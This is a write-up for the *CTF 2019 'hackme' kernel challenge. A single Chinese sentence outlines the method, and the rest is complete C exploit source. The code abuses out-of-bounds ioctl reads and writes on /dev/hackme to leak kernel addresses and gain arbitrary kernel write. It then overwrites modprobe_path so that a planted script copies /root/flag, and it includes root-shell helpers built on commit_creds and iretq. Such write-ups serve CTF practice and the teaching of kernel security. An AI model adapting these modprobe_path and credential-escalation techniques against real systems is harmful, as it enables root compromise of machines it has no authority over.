*ctf 2019 hackme

read和write操作可以越界读写,泄露出kernel_base和codbase之后劫持数组指针实现任意地址读写,然后改写modprobe_path

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <pthread.h>
#define REQ_CREATE 0x30000
#define REQ_DELETE 0x30001
#define REQ_READ 0x30003
#define REQ_WRITE 0x30002
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;

struct command {
    unsigned int index;
    unsigned int unused;
    char *buffer;
    long size;
    long offset;    
};

void add(int fd, int id, int size, char *init_buffer) {
    struct command command;
    
    command.index = id;
    command.buffer = init_buffer;
    command.size = size;

    ioctl(fd, REQ_CREATE, &command);
}

void fr(int fd, long id) {
    struct command command;

    command.index = id;

    ioctl(fd, REQ_DELETE, &command);
}

void show(int fd, int id, char *dest, int offset, int size) {
    struct command command;

    command.index = id;
    command.size = size;
    command.buffer = dest;
    command.offset = offset;

    ioctl(fd, REQ_READ, &command);
}

void edit(int fd, int id, char *src, int offset, int size) {
    struct command command;

    command.index = id;
    command.size = size;
    command.buffer = src;
    command.offset = offset;

    ioctl(fd, REQ_WRITE, &command);
}

void lg(char *s,size_t addr){
    printf("[+]%s ==> 0x%llx\n",s,addr);
}

void error(char *msg) {
    printf("[-] %s\n", msg);
    exit(-1);
}
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell(void){
    system("/bin/sh");
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}
void spawn_shell()
{
    if(!getuid())
    {
        puts("Get shell");
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}
int exp(){
    get_root();
    __asm__(
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push spawn_shell;"
        "swapgs;"
        "iretq;"
     );
}
int main()
{
    save_status();
    char *addr = malloc(0x1000);
    printf("addr: %llx\n",addr);
    int fd = open("/dev/hackme",0);
    if(fd < 0){
        puts("open error");
        exit(0);
    }

    memset(addr,'A',0x10);
    printf("%s\n",addr );
    add(fd,0,0x100,addr);
    add(fd,1,0x100,addr);
    add(fd,2,0x100,addr);
    add(fd,3,0x100,addr);
    add(fd,4,0x100,addr);
    add(fd,5,0x100,addr);
    show(fd,0,addr,-0x200,0x200);
    /*for(unsigned int i = 0;i<0x100;i++){
        printf("addr[%d] == %llx\n",i,*(size_t *)(addr+i*8));
    }*/
    //printf("%llx\n",addr);
    size_t kernel_base = *(size_t *)(addr)-0x8472c0;
    lg("kernel_base",kernel_base);
    size_t codebase = kernel_base+0x811000;
    size_t addr2[0x100] = {0};
    size_t target = codebase;
    addr2[0] = codebase+0x30;
    fr(fd,0);
    fr(fd,1);
    edit(fd,2,addr2,-0x100,0x100);
    add(fd,6,0x100,addr);
    size_t a1[0x8] = {0};
    add(fd,7,0x100,a1);
    show(fd,7,addr,0x8,0x10);
    show(fd,7,addr,-0x20,0x20);
    /*for(unsigned int i = 0;i<0x100;i++){
        printf("addr[%d] == %llx\n",i,*(size_t *)(addr+i*8));
    }*/
    codebase = *(size_t *)(addr)-0x2338;
    size_t addrList = codebase+0x2400;
    fr(fd,3);
    fr(fd,4);
    addr2[0] = addrList;
    edit(fd,5,addr2,-0x100,0x100);
    add(fd,3,0x100,a1);
    add(fd,4,0x100,a1);
    addr2[0] = 0x83f960+kernel_base;
    addr2[1] = 0x100;
    char *addr3 = "/home/1.sh\x00";
    edit(fd,4,addr2,0x10,0x10);
    edit(fd,1,addr3,0,0x10);
    system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /home/flag\n/bin/chmod 777 /home/flag' > /home/1.sh");
    system("echo -ne '\xff\xff\xff\xff' > /home/aaa");
    system("chmod +x /home/1.sh");
    system("chmod +x /home/aaa");
    system("/home/aaa");
    system("cat /home/flag");
    //show(fd,0,addr,-0x200,0x200);
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